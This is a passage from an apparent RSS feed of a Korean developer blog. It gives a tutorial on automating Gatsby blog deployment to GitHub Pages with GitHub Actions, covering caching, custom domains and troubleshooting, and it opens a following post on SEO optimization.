    &lt;span class=&quot;token key atrule&quot;&gt;publish_branch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; gh&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;public/&lt;/code&gt; 폴더의 내용을 &lt;code class=&quot;language-text&quot;&gt;gh-pages&lt;/code&gt; 브랜치에 자동으로 push합니다. &lt;code class=&quot;language-text&quot;&gt;GITHUB_TOKEN&lt;/code&gt;은 별도 설정 없이 GitHub Actions가 자동으로 제공합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;캐시 설정으로 빌드 속도 향상&lt;/h2&gt;
&lt;p&gt;Gatsby 빌드는 처음에는 시간이 꽤 걸립니다. 캐시를 설정하면 빌드 시간을 크게 줄일 수 있습니다.&lt;/p&gt;
&lt;h3&gt;npm 캐시 (이미 적용됨)&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;actions/setup-node&lt;/code&gt;의 &lt;code class=&quot;language-text&quot;&gt;cache: &quot;npm&quot;&lt;/code&gt; 옵션으로 npm 패키지 캐시는 이미 적용되어 있습니다.&lt;/p&gt;
&lt;h3&gt;Gatsby 캐시 추가&lt;/h3&gt;
&lt;p&gt;Gatsby는 &lt;code class=&quot;language-text&quot;&gt;.cache&lt;/code&gt; 폴더에 빌드 캐시를 저장합니다. 이것도 캐시하면 빌드 속도가 더 빨라집니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Step 2와 Step 3 사이에 추가&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Cache Gatsby build
  &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/cache@v4
  &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
      .cache
      public&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; gatsby&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;build&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;$&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; hashFiles(&apos;package&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;lock.json&apos;) &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;$&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; hashFiles(&apos;contents/&lt;span class=&quot;token important&quot;&gt;**&apos;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;restore-keys&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
      gatsby-build-${{ hashFiles(&apos;package-lock.json&apos;) }}-
      gatsby-build-&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;캐시 적용 전후 빌드 시간 비교&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단계&lt;/th&gt;
&lt;th&gt;캐시 없음&lt;/th&gt;
&lt;th&gt;캐시 있음&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;npm install&lt;/td&gt;
&lt;td&gt;~60초&lt;/td&gt;
&lt;td&gt;~10초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;gatsby build&lt;/td&gt;
&lt;td&gt;~120초&lt;/td&gt;
&lt;td&gt;~30초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;전체&lt;/td&gt;
&lt;td&gt;~3분&lt;/td&gt;
&lt;td&gt;~1분&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;실제 시간은 블로그 규모에 따라 다르지만, 캐시만으로 2~3배 빨라지는 것을 체감할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;캐시 포함 완성 workflow&lt;/h2&gt;
&lt;p&gt;캐시까지 포함한 최종 workflow 파일입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# .github/workflows/deploy.yml&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deploy Blog to GitHub Pages

&lt;span class=&quot;token key atrule&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;branches&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; main

&lt;span class=&quot;token key atrule&quot;&gt;permissions&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; write

&lt;span class=&quot;token key atrule&quot;&gt;jobs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;build-and-deploy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;runs-on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ubuntu&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;latest

    &lt;span class=&quot;token key atrule&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Checkout repository
        &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/checkout@v4

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Setup Node.js
        &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/setup&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;node@v4
        &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;node-version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;20&quot;&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;cache&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;npm&quot;&lt;/span&gt;

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Cache Gatsby build
        &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/cache@v4
        &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
            .cache
            public&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; gatsby&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;build&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;$&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; hashFiles(&apos;package&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;lock.json&apos;) &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;$&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; hashFiles(&apos;contents/&lt;span class=&quot;token important&quot;&gt;**&apos;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;restore-keys&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
            gatsby-build-${{ hashFiles(&apos;package-lock.json&apos;) }}-
            gatsby-build-&lt;/span&gt;

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Install dependencies
        &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; npm ci

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Build Gatsby site
        &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; npm run build
        &lt;span class=&quot;token key atrule&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;PREFIX_PATHS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deploy to GitHub Pages
        &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; peaceiris/actions&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;gh&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages@v4
        &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;github_token&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; secrets.GITHUB_TOKEN &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;publish_dir&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ./public
          &lt;span class=&quot;token key atrule&quot;&gt;publish_branch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; gh&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;커스텀 도메인 설정 (CNAME)&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;blog.javapark.kr&lt;/code&gt;처럼 커스텀 도메인을 사용하고 있다면, 배포할 때마다 CNAME 파일이 유지되어야 합니다.&lt;/p&gt;
&lt;h3&gt;방법 1: static 폴더에 CNAME 파일 추가&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;blog.javapark.kr&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; static/CNAME&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Gatsby 빌드 시 &lt;code class=&quot;language-text&quot;&gt;static/&lt;/code&gt; 폴더의 파일이 그대로 &lt;code class=&quot;language-text&quot;&gt;public/&lt;/code&gt;에 복사되므로, 배포 시 자동으로 포함됩니다.&lt;/p&gt;
&lt;h3&gt;방법 2: workflow에서 CNAME 옵션 사용&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deploy to GitHub Pages
  &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; peaceiris/actions&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;gh&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages@v4
  &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;github_token&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; secrets.GITHUB_TOKEN &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;publish_dir&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ./public
    &lt;span class=&quot;token key atrule&quot;&gt;publish_branch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; gh&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages
    &lt;span class=&quot;token key atrule&quot;&gt;cname&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; blog.javapark.kr&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;두 가지 방법 모두 동일한 결과를 만들지만, 저는 방법 1을 추천합니다. CNAME 파일이 프로젝트에 명시적으로 포함되어 있으면 관리가 더 편합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;GitHub Pages 설정 확인&lt;/h2&gt;
&lt;p&gt;workflow를 배포하기 전에 GitHub 레포지토리 설정을 확인해야 합니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;GitHub 레포지토리 &gt; &lt;strong&gt;Settings&lt;/strong&gt; 탭 클릭&lt;/li&gt;
&lt;li&gt;왼쪽 메뉴에서 &lt;strong&gt;Pages&lt;/strong&gt; 클릭&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Source&lt;/strong&gt; 항목을 &lt;strong&gt;Deploy from a branch&lt;/strong&gt;로 설정&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Branch&lt;/strong&gt;를 &lt;code class=&quot;language-text&quot;&gt;gh-pages&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;/ (root)&lt;/code&gt;로 설정&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Save&lt;/strong&gt; 클릭&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;이 설정이 되어 있어야 &lt;code class=&quot;language-text&quot;&gt;gh-pages&lt;/code&gt; 브랜치에 push된 파일이 실제로 웹에 배포됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;배포 상태 확인 및 디버깅&lt;/h2&gt;
&lt;h3&gt;Actions 탭에서 확인&lt;/h3&gt;
&lt;p&gt;push 후 GitHub 레포지토리의 &lt;strong&gt;Actions&lt;/strong&gt; 탭에 들어가면 워크플로우 실행 상태를 확인할 수 있습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;초록색 체크: 성공&lt;/li&gt;
&lt;li&gt;빨간색 X: 실패&lt;/li&gt;
&lt;li&gt;노란색 원: 진행 중&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;빌드 실패 시 확인할 것&lt;/h3&gt;
&lt;p&gt;실패한 워크플로우를 클릭하면 각 Step의 로그를 볼 수 있습니다. 자주 발생하는 오류와 해결법을 정리했습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;오류&lt;/th&gt;
&lt;th&gt;원인&lt;/th&gt;
&lt;th&gt;해결법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;npm ci&lt;/code&gt; 실패&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;package-lock.json&lt;/code&gt; 불일치&lt;/td&gt;
&lt;td&gt;로컬에서 &lt;code class=&quot;language-text&quot;&gt;npm install&lt;/code&gt; 후 lock 파일 커밋&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;gatsby build&lt;/code&gt; 실패&lt;/td&gt;
&lt;td&gt;플러그인 설정 오류&lt;/td&gt;
&lt;td&gt;로컬에서 &lt;code class=&quot;language-text&quot;&gt;gatsby build&lt;/code&gt; 먼저 테스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;권한 오류&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;permissions&lt;/code&gt; 미설정&lt;/td&gt;
&lt;td&gt;workflow에 &lt;code class=&quot;language-text&quot;&gt;permissions: contents: write&lt;/code&gt; 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;gh-pages&lt;/code&gt; 배포 안 됨&lt;/td&gt;
&lt;td&gt;Pages 설정 미완료&lt;/td&gt;
&lt;td&gt;Settings &gt; Pages에서 브랜치 설정 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;로컬에서 빌드 테스트&lt;/h3&gt;
&lt;p&gt;GitHub Actions에 push하기 전에 로컬에서 빌드가 정상인지 확인하는 습관을 들이면 좋습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 캐시 정리 후 빌드 테스트&lt;/span&gt;
gatsby clean &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; gatsby build&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;배포 프로세스 전체 흐름 정리&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;로컬에서 글 작성/수정
       |
       v
git add . &amp;amp;&amp;amp; git commit -m &quot;새 글 추가&quot;
       |
       v
git push origin main
       |
       v
GitHub Actions 자동 실행
  1. 코드 체크아웃
  2. Node.js 설정
  3. 캐시 복원
  4. npm ci
  5. gatsby build
  6. gh-pages 브랜치에 배포
       |
       v
GitHub Pages가 gh-pages 브랜치 감지
       |
       v
https://blog.javapark.kr 에 반영 완료&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이제 글을 쓰고 push만 하면 됩니다. 나머지는 전부 자동입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q. GitHub Actions는 무료인가요?&lt;/h3&gt;
&lt;p&gt;네, 공개(public) 레포지토리에서는 완전 무료입니다. 비공개(private) 레포지토리에서는 월 2,000분의 무료 빌드 시간이 제공됩니다. 블로그 하나를 운영하기에는 충분한 양입니다.&lt;/p&gt;
&lt;h3&gt;Q. main 브랜치가 아닌 다른 브랜치에서 배포하고 싶어요&lt;/h3&gt;
&lt;p&gt;workflow 파일의 &lt;code class=&quot;language-text&quot;&gt;on.push.branches&lt;/code&gt; 값을 변경하면 됩니다. 예를 들어 &lt;code class=&quot;language-text&quot;&gt;develop&lt;/code&gt; 브랜치에서 배포하려면 다음과 같이 수정합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;branches&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; develop&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Q. 배포 후 사이트에 반영되기까지 얼마나 걸리나요?&lt;/h3&gt;
&lt;p&gt;보통 GitHub Actions 빌드에 1&lt;del&gt;3분, GitHub Pages 반영에 1&lt;/del&gt;2분 정도 걸립니다. 전체적으로 push 후 3~5분이면 사이트에 반영됩니다. 캐시가 따뜻한(warm) 상태라면 더 빨라집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분은 블로그 배포를 어떻게 하고 계신가요? 댓글로 알려주세요.&lt;/p&gt;
&lt;p&gt;다음 포스팅에서는 &lt;strong&gt;블로그에 광고와 댓글 시스템을 다는 방법&lt;/strong&gt;을 다룹니다. AdSense, 쿠팡 파트너스로 수익화하고, Utterances로 댓글 기능을 구축하는 방법까지 알아보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[GitHub 블로그 SEO 최적화 — 검색에 노출되는 블로그 만들기]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "블로그 글을 열심히 썼는데, 구글에 검색해도 안 나와요." GitHub Pages…]]></description><link>https://blog.javapark.kr/04-seo-optimization/</link><guid isPermaLink="false">https://blog.javapark.kr/04-seo-optimization/</guid><pubDate>Sat, 04 Apr 2026 17:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;블로그 글을 열심히 썼는데, 구글에 검색해도 안 나와요.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;GitHub Pages로 블로그를 만들고 글까지 발행했는데, 정작 검색 엔진에서 내 글이 보이지 않는다면 정말 허무하겠죠. 결론부터 말씀드리면 — 블로그를 만드는 것과 검색에 노출되는 것은 완전히 다른 문제입니다. SEO(Search Engine Optimization) 설정 없이는 아무리 좋은 글을 써도 구글이 찾아오지 않습니다.&lt;/p&gt;
&lt;p&gt;이번 포스팅에서는 Gatsby 기반 GitHub 블로그의 SEO를 처음부터 끝까지 최적화하는 방법을 다룹니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;SEO가 블로그에 중요한 이유&lt;/h2&gt;
&lt;p&gt;SEO란 검색 엔진 최적화(Search Engine Optimization)의 약자로, 구글이나 네이버 같은 검색 엔진이 내 블로그를 잘 이해하고, 검색 결과에 잘 노출시킬 수 있도록 만드는 작업입니다.&lt;/p&gt;
&lt;p&gt;블로그에 SEO가 중요한 이유는 간단합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;SEO 미적용&lt;/th&gt;
&lt;th&gt;SEO 적용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;검색 노출&lt;/td&gt;
&lt;td&gt;거의 없음&lt;/td&gt;
&lt;td&gt;키워드별 상위 노출 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;유입 경로&lt;/td&gt;
&lt;td&gt;직접 공유만 가능&lt;/td&gt;
&lt;td&gt;구글 검색 유입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공유 시 미리보기&lt;/td&gt;
&lt;td&gt;제목만 표시&lt;/td&gt;
&lt;td&gt;이미지 + 설명 표시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;크롤링&lt;/td&gt;
&lt;td&gt;구조 파악 어려움&lt;/td&gt;
&lt;td&gt;사이트맵으로 효율적 크롤링&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;특히 GitHub Pages 블로그는 티스토리나 워드프레스와 달리 SEO 설정이 자동으로 되지 않기 때문에 직접 설정해줘야 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Gatsby SEO 컴포넌트 만들기 (React Helmet)&lt;/h2&gt;
&lt;p&gt;Gatsby에서 &lt;code class=&quot;language-text&quot;&gt;&amp;lt;head&gt;&lt;/code&gt; 태그를 제어하려면 &lt;code class=&quot;language-text&quot;&gt;react-helmet&lt;/code&gt; 또는 Gatsby의 &lt;code class=&quot;language-text&quot;&gt;Head API&lt;/code&gt;를 사용합니다. gatsby-starter-hoodie 테마에는 이미 SEO 컴포넌트가 포함되어 있지만, 직접 만드는 방법도 알아두면 좋습니다.&lt;/p&gt;
&lt;h3&gt;react-helmet 설치&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; gatsby-plugin-react-helmet react-helmet&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;gatsby-config.js&lt;/code&gt;에 플러그인을 추가합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// gatsby-config.js&lt;/span&gt;
